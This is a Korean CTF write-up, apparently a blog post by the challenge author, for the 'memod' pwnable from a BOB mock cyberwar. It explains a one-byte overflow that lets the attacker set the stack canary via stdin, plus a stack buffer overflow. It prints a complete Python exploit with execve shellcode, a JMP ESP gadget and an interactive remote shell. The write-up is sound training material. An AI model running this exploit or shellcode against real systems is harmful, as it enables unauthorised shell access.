고려대학교 워룸에서 진행된 BOB 1기의 모의 사이버전에 출제했던 문제입니다. 모의 사이버전 중 점령전 문제로 설정되어 진행되었는데, 대체로 점령전 참여율이 저조했습니다 ㅋㅋㅋ 제일 세팅기간 길었던 부분인데 ㅜㅜ
모의 사이버전 기간이 짧은걸 고려해 대체로 크기가 작게 출제해서 컨셉을 못살린것 같아 살짝 아쉽긴 하네요ㅋㅋ
암튼 재밌으셨길!
-------------------------------------------------------------------------------------------------------------------------------------------
Category : Pwnable
Summary : 1byte overflow, Bypass stack canary with file descriptor overwrite, Buffer Overflow
주어진 바이너리를 hex-ray로 디컴파일 해보면 아래와 같다.
int __cdecl main() { size_t len; // eax@9 char buf; // [sp+10h] [bp-128h]@2 char file[32]; // [sp+110h] [bp-28h]@3 int fd; // [sp+130h] [bp-8h]@1 int CANARY; // [sp+134h] [bp-4h]@1 chdir("/home/memod/memo/"); CANARY = setvbuf(stdout, 0, 2, 0); fd = open("/dev/urandom", 0); for ( i = 0; i <= 32; ++i ) { buf = getchar(); if ( (unsigned int)(buf - 48) > 9 ) { file[i] = 0; break; } file[i] = buf; } if ( !file[0] ) { puts("Invalid pin number!!"); exit(0); } read(fd, &canary_backup, 4u); CANARY = canary_backup; puts("Easy Memo!\n// Can you bypass the canary? ;p"); fd = open(file, 65, 420); fgets(&buf, 512, stdin); // Vuln !!!! len = strlen(&buf); write(fd, &buf, len); close(fd); if ( memcmp(&canary_backup, &CANARY, 4u) ) { puts("***** ERROR! Stack Smash Attempt .. *****"); exit(-1); } return 0; } |
프로그램의 동작은 간단하다. 사용자로부터 숫자로만 구성된 메모파일명을 입력받는다.
그리고 메모파일명을 입력받기 전에 open해둔 /dev/urandom 디바이스 파일로부터 canary_backup이라는 전역변수에 읽어온다. 이 canary_backup의 값을 지역변수에도 저장해두어 카나리로서 사용된다. 이후 사용자로부터 메모파일에 저장할 데이터를 입력받고, 카나리가 손상되지않았는지 확인한 후 종료된다.
간단한 동작원리처럼 취약점도 아주 간단하고 분명하게 발생한다.
................................... ................................... |
취약점은 위 코드에서 메모파일에 저장할 데이터를 입력받을 때 발생한다. buf는 256byte짜리 지역변수인데, 512byte를 입력받으므로 stack buffer overflow 취약점이 발생한다. 이 취약점을 이용해 리턴어드레스를 조작하면 공략하는 것은 매우 간단하지만, 한 가지 문제가 있다.
문제는 /dev/urandom 디바이스 파일에서 읽어온 값을 카나리로 사용하여, 카나리가 조작되었다면 exit함수로 종료해버리기 때문에 카나리를 우회할 방법을 찾아야한다. (/dev/urandom 파일은 커널에서 제공하는 난수생성기라고 보시면 편할듯합니다.)
카나리를 고정으로 잡고 브루트 포싱하거나 동시에 열어서 중복되는 경우로 브루트포싱을 시도해볼 수 있지만, 아직 /dev/urandom 디바이스 파일에서 성공한 경우는 보지 못했다. (물론 있을수도 있음)
카나리를 우회하기 위한 방법을 생각하면서 코드를 훑어보다 보면 취약점을 한가지 더 발견할 수 있다!
......................... char file[32]; // [sp+110h] [bp-28h]@3 int fd; // [sp+130h] [bp-8h]@1 ......................... fd = open("/dev/urandom", 0); for ( i = 0; i <= 32; ++i ) // Vuln !!!! { buf = getchar(); if ( buf - 0x30u > 9 ) { file[i] = 0; break; } file[i] = buf; } ......................... |
위와 같이 메모파일명을 입력받는 과정에서 32byte변수에 총 33번(0~32)의 루프를 돌면서 1byte씩 입력을 받기때문에, 결과적으로 1byte 오버플로우가 발생한다. 그런데 1byte오버플로우로 조작하게 되는 변수가 바로 /dev/urandom파일을 open하고 얻은 파일 디스크립터를 저장하는 fd변수이다. 따라서 1byte 오버플로우로 fd를 임의로 조작할 수 있다!
fd를 0으로 조작해주게되면, 카나리를 읽어올때 최종적으로 아래와 같은 동작을 구문을 통해 읽어올 것이다.
............................. ............................. |
0번 디스크립터는 stdin(표준입력) 파일 디스크립터이기 때문에, fd를 0으로 조작 후 위 구문으로 read하면, 사용자의 입력값이 카나리로 들어간다. 결국 사용자가 임의로 카나리를 조작해줄 수 있게 된 것이다.
이제 카나리 체크를 우회해서 오버플로우로 EIP를 조작할 수 있지만, 환경이 Ubuntu 12.04에 ASLR과 NX가 모두 켜져있다는 소문이 있다.
[pwn3r@localhost ~/]# execstack memod X memod |
하지만 위 로그에서 볼 수 있듯이 바이너리자체에 execstack 옵션이 붙어있기 때문에, 환경에 상관없이 거의 모든 메모리에서 실행권한을 가지므로 NX는 신경 쓸 필요가 없다. 그럼 이제 단순히 쉘코드를 메모리에 올려두고 EIP를 그 주소로 바꿔주면 되지만, 문제는 쉘코드를 "어디에 올려야할지"이다. 프로그램에서 fgets함수로 많은 데이터를 스택에 입력받긴하지만, ASLR이 걸려있어 스택주소가 랜덤인 상황에서 스택으로 바로 뛰어주긴 어렵다. 그럼 프로그램에서 고정된 부분에 입력을 받는 부분이 있는지 좀 더 찾아보니 한 부분에서 고정된 주소에 입력받는 것을 확인할 수 있다!
.bss:08049B2C canary_backup dd ? ; DATA XREF: main+DCo |
바로 처음에 카나리를 입력받고 저장되는 canary_backup 전역변수이다. canary_backup 변수는 입력을 조작할 수 있지만, 애초에 4byte밖에 입력받지 않아 직접 쉘코드를 넣어줄 순 없다. 하지만 쉘코드로 점프하도록 유도하는 가젯을 넣어줄 순 있다!
여러가지 가젯을 넣어줄 수 있겠지만, 본인은 "JMP ESP"에 해당하는 바이트코드(ff e4)를 canary_backup에 넣어준 후, 리턴어드레스를 canary_backup의 주소로 조작하고 뒤에 쉘코드를 이어 붙여줌으로써 원샷으로 공격에 성공하는 Exploit을 작성할 수 있었다.
exploit.py |
#!/usr/bin/python from socket import * import time HOST = "192.168.137.122" PORT = 7456 canary = "\xff\xe4aa" # "\xff\xe4" = JMP ESP canary_addr = "\x2c\x9b\x04\x08" # address of global variable "canary_backup" SHELLCODE = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" # 25byte execve("/bin/sh",["sh",0],0) shellcode payload = "" payload += "a"*0x100 # data buffer payload += "b"*0x20 # filename buffer payload += "\x04\x00\x00\x00" # Recover memo file's file descriptor payload += canary # my canary payload += "b"*4 # sfp payload += canary_addr # return address (canary_addr has byte code of "JMP ESP") payload += SHELLCODE # shellcode s = socket() s.connect((HOST, PORT)) s.send("1"*32+"a") # Overwrite file descriptor time.sleep(1) s.send(canary) # Overwrite Canary print s.recv(1024) time.sleep(1) s.send(payload +"\n") #########GOT SHELL############# while 1: cmd = raw_input("$ ") s.send(cmd + "\n") if cmd == "exit": break print s.recv(1024) s.close() ################################ |
위 익스플로잇을 실행하면 쉘을 획득할 수 있다.
pwn3r@ubuntu:~/# python exploit.py Easy Memo! // Can you bypass the canary? ;p $ id uid=1001(memod) gid=1001(memod) groups=1001(memod) |
pwned :)
'CTF > 2012' 카테고리의 다른 글
POWER OF XX 2012 예선 - listd (1) | 2012.11.09 |
---|---|
POWER OF XX 2012 본선 - leakme (0) | 2012.11.09 |
Just For Fun Season2 2012 - silly200 (Exploit Only) (4) | 2012.08.06 |
Just For Fun Season2 2012 - silly100 (8) | 2012.08.05 |
제 1회 청소년 화이트해커 경진대회 문제풀이보고서 (0) | 2012.05.24 |